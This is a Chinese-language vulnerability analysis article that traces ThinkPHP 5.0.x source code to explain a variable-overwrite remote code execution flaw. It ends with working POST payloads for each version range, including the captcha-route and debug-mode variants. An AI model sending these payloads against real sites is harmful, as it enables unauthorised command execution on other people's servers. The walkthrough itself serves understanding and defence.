您好,登錄后才能下訂單哦!
小編給大家分享一下thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!
簡(jiǎn)介
總是碰到一些thinkphp5.0.X的站點(diǎn),網(wǎng)上搜索漏洞利用payload會(huì)有好幾種,變量覆蓋導(dǎo)致的遠(yuǎn)程代碼執(zhí)行,不同小版本之間會(huì)有些差別,比如下面幾種。
_method=__construct&filter=system&a=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&get[]=whoami ...
payload雖沒(méi)錯(cuò),但是用得我挺懵,不知所以然。
這幾種到底有什么差異?
各個(gè)參數(shù)的作用是什么?
為什么會(huì)這樣?
thinkphp有兩種版本,一種是核心版,一種是完整版。簡(jiǎn)單來(lái)講核心版不包括第三方類庫(kù),比如驗(yàn)證碼庫(kù)(劃重點(diǎn),后面會(huì)用到)。
從5.0.0說(shuō)起,適用于5.0.0的代碼執(zhí)行payload長(zhǎng)這樣
POST /thinkphp5.0.0 HTTP/1.1 _method=__construct&filter=system&a=whoami&method=GET
為什么 _method=__construct
為什么 filter=system
為什么 a=whoami
為什么 method=GET
thinkphp的入口文件為public/index.php
,如下。
// 定義應(yīng)用目錄 define('APP_PATH', __DIR__ . '/../application/'); // 加載框架引導(dǎo)文件 require __DIR__ . '/../thinkphp/start.php';
跟進(jìn)thinkphp/start.php
。
// 1. 加載基礎(chǔ)文件 require __DIR__ . '/base.php'; // 2. 執(zhí)行應(yīng)用 App::run()->send();
看到是調(diào)用的是App::run()
執(zhí)行應(yīng)用。
跟進(jìn)thinkphp/library/think/App.php
下的run()
函數(shù)。
/** * 執(zhí)行應(yīng)用程序 * @access public * @param Request $request Request對(duì)象 * @return Response * @throws Exception */ public static function run(Request $request = null) { ... // 獲取應(yīng)用調(diào)度信息 $dispatch = self::$dispatch; if (empty($dispatch)) { // 進(jìn)行URL路由檢測(cè) $dispatch = self::routeCheck($request, $config); } // 記錄當(dāng)前調(diào)度信息 $request->dispatch($dispatch); ... }
在run()
函數(shù)中,會(huì)根據(jù)請(qǐng)求的信息調(diào)用self::routeCheck()
函數(shù),進(jìn)行URL路由檢測(cè)設(shè)置調(diào)度信息并賦值給$dispatch
。
/** * URL路由檢測(cè)(根據(jù)PATH_INFO) * @access public * @param \think\Request $request * @param array $config * @return array * @throws \think\Exception */ public static function routeCheck($request, array $config) { ... // 路由檢測(cè)(根據(jù)路由定義返回不同的URL調(diào)度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); ... return $result; }
其中的Route::check()
函數(shù)如下。
/** * 檢測(cè)URL路由 * @access public * @param Request $request Request請(qǐng)求對(duì)象 * @param string $url URL地址 * @param string $depr URL分隔符 * @param bool $checkDomain 是否檢測(cè)域名規(guī)則 * @return false|array */ public static function check($request, $url, $depr = '/', $checkDomain = false) { ... $method = $request->method(); // 獲取當(dāng)前請(qǐng)求類型的路由規(guī)則 $rules = self::$rules[$method]; ...
會(huì)調(diào)用$request->method()
函數(shù)獲取當(dāng)前請(qǐng)求類型。
/** * 當(dāng)前的請(qǐng)求類型 * @access public * @param bool $method true 獲取原始請(qǐng)求類型 * @return string */ public function method($method = false) { if (true === $method) { // 獲取原始請(qǐng)求類型 return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); ... return $this->method; }
因?yàn)樯厦嬲{(diào)用method()
函數(shù)是沒(méi)有傳參的,所以這里$method = false
,進(jìn)入elseif
。var_method
是表單請(qǐng)求類型偽裝變量,可在application/config.php
中看到其值為_method
。
// 表單請(qǐng)求類型偽裝變量 'var_method' => '_method',
那么只要POST傳遞一個(gè)_method
參數(shù),即可進(jìn)入下面的if,會(huì)執(zhí)行
$this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);
因此可通過(guò)指定_method
來(lái)調(diào)用該類下的任意函數(shù)。
所以_method=__construct
是為了調(diào)用thinkphp/library/think/Request.php下的__construct
函數(shù)。需要注意的是這里同時(shí)也將Request
類下的$method
的值覆蓋為__construct
了,這個(gè)很重要,先記錄下。
method => __construct
那為啥要調(diào)用__construct
函數(shù)完成攻擊鏈,不是別的函數(shù)呢?
跟進(jìn)函數(shù),如下。
/** * 架構(gòu)函數(shù) * @access public * @param array $options 參數(shù) */ public function __construct($options = []) { foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); } }
上面調(diào)用__construct
函數(shù)的時(shí)候把$_POST
數(shù)組傳進(jìn)去了,也就是會(huì)用foreach
遍歷POST提交的數(shù)據(jù),接著使用property_exists()
檢測(cè)當(dāng)前類是否具有該屬性,如果存在則賦值,而$name
和$item
都是來(lái)自$_POST
,完全可控,這里就存在一個(gè)變量覆蓋的問(wèn)題。filter=system&method=GET
作用就是把當(dāng)前類下的$filter
覆蓋為system
,$method
覆蓋為GET
,當(dāng)前變量情況:
method => __construct => GET filter => system
為什么要把method
又覆蓋一遍成GET
?,因?yàn)榍懊嬖?code>check()函數(shù)中有這么兩行代碼。
$method = $request->method(); // 獲取當(dāng)前請(qǐng)求類型的路由規(guī)則 $rules = self::$rules[$method];
前面已經(jīng)在method()
函數(shù)中進(jìn)行了變量覆蓋,$method
的值為__construct
。而$rules的定義如下:
private static $rules = [ 'GET' => [], 'POST' => [], 'PUT' => [], 'DELETE' => [], 'PATCH' => [], 'HEAD' => [], 'OPTIONS' => [], '*' => [], 'alias' => [], 'domain' => [], 'pattern' => [], 'name' => [], ];
那么如果不再次覆蓋$method
為GET、POST、PUT
等等,self::$rules[$method]
就為self::$rules['__construct']
,程序就得報(bào)錯(cuò)了嘛。
應(yīng)用調(diào)度信息后獲取完畢后,若開(kāi)啟了debug,則會(huì)記錄路由和請(qǐng)求信息。這也是很重要的一點(diǎn),先記錄。
if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
再根據(jù)$dispatch
類型的不同進(jìn)入switch case
處理。
switch ($dispatch['type']) { case 'redirect': // 執(zhí)行重定向跳轉(zhuǎn) $data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']); break; case 'module': // 模塊/控制器/操作 $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null); break; case 'controller': // 執(zhí)行控制器操作 $data = Loader::action($dispatch['controller']); break; case 'method': // 執(zhí)行回調(diào)方法 $data = self::invokeMethod($dispatch['method']); break; case 'function': // 執(zhí)行閉包 $data = self::invokeFunction($dispatch['function']); break; case 'response': $data = $dispatch['response']; break; default: throw new \InvalidArgumentException('dispatch type not support'); }
直接訪問(wèn)public/index.php
默認(rèn)調(diào)用的模塊名/控制器名/操作名是/index/index/index
,具體定義在application/config.php
里面。
// 默認(rèn)模塊名 'default_module' => 'index', // 禁止訪問(wèn)模塊 'deny_module_list' => ['common'], // 默認(rèn)控制器名 'default_controller' => 'Index', // 默認(rèn)操作名 'default_action' => 'index',
因此對(duì)應(yīng)的$dispatch['type']
為module
,會(huì)調(diào)用module()
函數(shù),經(jīng)過(guò)一系列的處理后返回?cái)?shù)據(jù)到客戶端。
case 'module': // 模塊/控制器/操作 $data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null); break;
跟進(jìn)module()
函數(shù),關(guān)鍵在invokeMethod()
。
/** * 執(zhí)行模塊 * @access public * @param array $result 模塊/控制器/操作 * @param array $config 配置參數(shù) * @param bool $convert 是否自動(dòng)轉(zhuǎn)換控制器和操作名 * @return mixed */ public static function module($result, $config, $convert = null) { ... $data = self::invokeMethod($call); ...
invokeMethod()
如下,跟進(jìn)bindParams()
。
/** * 調(diào)用反射執(zhí)行類的方法 支持參數(shù)綁定 * @access public * @param string|array $method 方法 * @param array $vars 變量 * @return mixed */ public static function invokeMethod($method, $vars = []) { ... $args = self::bindParams($reflect, $vars); ... }
bindParams()
如下,跟進(jìn)param()
。
/** * 綁定參數(shù) * @access public * @param \ReflectionMethod|\ReflectionFunction $reflect 反射類 * @param array $vars 變量 * @return array */ private static function bindParams($reflect, $vars = []) { if (empty($vars)) { // 自動(dòng)獲取請(qǐng)求變量 if (Config::get('url_param_type')) { $vars = Request::instance()->route(); } else { $vars = Request::instance()->param(); } }
這是關(guān)鍵點(diǎn),param()
函數(shù)是獲取當(dāng)前請(qǐng)求參數(shù)的。
/** * 設(shè)置獲取獲取當(dāng)前請(qǐng)求的參數(shù) * @access public * @param string|array $name 變量名 * @param mixed $default 默認(rèn)值 * @param string|array $filter 過(guò)濾方法 * @return mixed */ public function param($name = '', $default = null, $filter = null) { if (empty($this->param)) { $method = $this->method(true); // 自動(dòng)獲取請(qǐng)求變量 switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } // 當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并 $this->param = array_merge($this->get(false), $vars, $this->route(false)); } if (true === $name) { // 獲取包含文件上傳信息的數(shù)組 $file = $this->file(); $data = array_merge($this->param, $file); return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter); }
這里又會(huì)調(diào)用method()
獲取當(dāng)前請(qǐng)求方法,然后會(huì)根據(jù)請(qǐng)求的類型來(lái)獲取參數(shù)以及合并參數(shù),參數(shù)的來(lái)源有get[],route[],$_POST
,那么通過(guò)可以變量覆蓋傳參,也可以直接POST傳參。
所以以下幾種方式都是一樣可行的:
a=whoami aaaaa=whoami get[]=whoami route=whoami
最后調(diào)用input()
函數(shù)
/** * 獲取變量 支持過(guò)濾和默認(rèn)值 * @param array $data 數(shù)據(jù)源 * @param string|false $name 字段名 * @param mixed $default 默認(rèn)值 * @param string|array $filter 過(guò)濾函數(shù) * @return mixed */ public function input($data = [], $name = '', $default = null, $filter = null) { ... if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); } ... }
input()
函數(shù)中會(huì)通過(guò)filterValue()
函數(shù)對(duì)傳入的所有參數(shù)進(jìn)行過(guò)濾,這里全局過(guò)濾函數(shù)已經(jīng)在前面被覆蓋為system
并會(huì)在filterValue()
函數(shù)中使用。
/** * 遞歸過(guò)濾給定的值 * @param mixed $value 鍵值 * @param mixed $key 鍵名 * @param array $filters 過(guò)濾方法+默認(rèn)值 * @return mixed */ private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 調(diào)用函數(shù)或者方法過(guò)濾 $value = call_user_func($filter, $value); ...
通過(guò)call_user_func()
完成任意代碼執(zhí)行,這也就是filter
為什么要覆蓋成system
的原因了,覆蓋成別的函數(shù)也行,想執(zhí)行什么覆蓋成什么。
在thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()
函數(shù)中有一處改動(dòng)。
這里多了一處判斷,所以不加method=GET
也不會(huì)報(bào)錯(cuò),可以正常執(zhí)行。
_method=__construct&filter=system&a=whoami
測(cè)試到5.0.13版本,payload打過(guò)去沒(méi)有反應(yīng),為什么?
跟蹤代碼發(fā)現(xiàn)thinkphp/library/think/App.php
下的module()
函數(shù)多了一行代碼。
// 設(shè)置默認(rèn)過(guò)濾機(jī)制 $request->filter($config['default_filter']);
前面通過(guò)變量覆蓋把$filter
覆蓋成了system,這里又把$filter
給二次覆蓋回去了,導(dǎo)致攻擊鏈斷了。
前面提到過(guò)如果開(kāi)啟了debug模式,很重要,為什么呢?
// 記錄路由和請(qǐng)求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
最后一句會(huì)調(diào)用param()
函數(shù),而攻擊鏈核心就是通過(guò)前面的變量覆蓋全局過(guò)濾函數(shù)$filter
,進(jìn)入param()
獲取參數(shù)再進(jìn)入input()
進(jìn)行全局過(guò)濾造成的代碼執(zhí)行。這里在$filter
被二次覆蓋之前調(diào)用了一次param()
,也就是說(shuō)如果開(kāi)啟了debug,在5.0.13開(kāi)始也可以攻擊,也是為什么有時(shí)候代碼執(zhí)行會(huì)返回兩次結(jié)果的原因。filter
是在module
函數(shù)中被覆蓋回去的,而執(zhí)行module
函數(shù)是根據(jù)$dispatch
的類型來(lái)決定的,那是否能不走module
函數(shù),繞過(guò)這里的覆蓋呢?
在完整版的thinkphp中,有提供驗(yàn)證碼類庫(kù),其中的路由定義在vendor/topthink/think-captcha/src/helper.php
中。
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
其對(duì)應(yīng)的dispatch
類型為method
,完美的避開(kāi)了二次覆蓋,路由限定了請(qǐng)求類型為get
,所以在5.0.13開(kāi)始,如果沒(méi)有開(kāi)debug
,還可以調(diào)用第三方類庫(kù)完成攻擊鏈。
POST /?s=captcha _method=__construct&filter=system&method=GET&a=whoami
到5.0.21版本開(kāi)始,函數(shù)method()
有所改動(dòng)。
通過(guò)server()
函數(shù)獲取請(qǐng)求方法,并且其中調(diào)用了input()
函數(shù)。
/** * 獲取server參數(shù) * @access public * @param string|array $name 數(shù)據(jù)名稱 * @param string $default 默認(rèn)值 * @param string|array $filter 過(guò)濾方法 * @return mixed */ public function server($name = '', $default = null, $filter = '') { if (empty($this->server)) { $this->server = $_SERVER; } if (is_array($name)) { return $this->server = array_merge($this->server, $name); } return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter); }
前面分析過(guò)了,最后代碼執(zhí)行是進(jìn)入input()
中完成的,所以只要能進(jìn)入server()
函數(shù)也可以造成代碼執(zhí)行。
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
param()
函數(shù)是根據(jù)method()
返回值來(lái)獲取參數(shù)的,現(xiàn)在method()
的邏輯變了,如果不傳遞server[REQUEST_METHOD]
,返回的就是GET,閱讀代碼得知參數(shù)的來(lái)源有$param[]、$get[]、$route[]
,還是可以通過(guò)變量覆蓋來(lái)傳遞參數(shù),但是就不能用之前形如a=whoami
任意參數(shù)名來(lái)傳遞了。
// 當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
在測(cè)試的時(shí)候發(fā)現(xiàn)只能通過(guò)覆蓋get[]、route[]
完成攻擊,覆蓋param[]
卻不行,調(diào)試后找到原因,原來(lái)是在route()
函數(shù)里param[]
又被二次覆蓋了。
/** * 設(shè)置獲取路由參數(shù) * @access public * @param string|array $name 變量名 * @param mixed $default 默認(rèn)值 * @param string|array $filter 過(guò)濾方法 * @return mixed */ public function route($name = '', $default = null, $filter = '') { if (is_array($name)) { $this->param = []; return $this->route = array_merge($this->route, $name); } return $this->input($this->route, $name, $default, $filter); }
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&get[]=whoami
或者
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&route[]=whoami
各版本通用的變量覆蓋payload如下
5.0.0~5.0.12 無(wú)條件觸發(fā)
POST / HTTP/1.1 _method=__construct&filter=system&method=GET&a=whoami a可以替換成get[]、route[]或者其他名字
5.0.13~5.0.23 需要有第三方類庫(kù) 如完整版中的captcha
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&get[]=whoami get[]可以換成route[]
5.0.13~5.0.23 需要開(kāi)啟debug
POST / HTTP/1.1 _method=__construct&filter=system&get[]=whoami get[]可以替換成route[]
看完了這篇文章,相信你對(duì)“thinkphp5.0.X全版本變量覆蓋導(dǎo)致RCE的示例分析”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。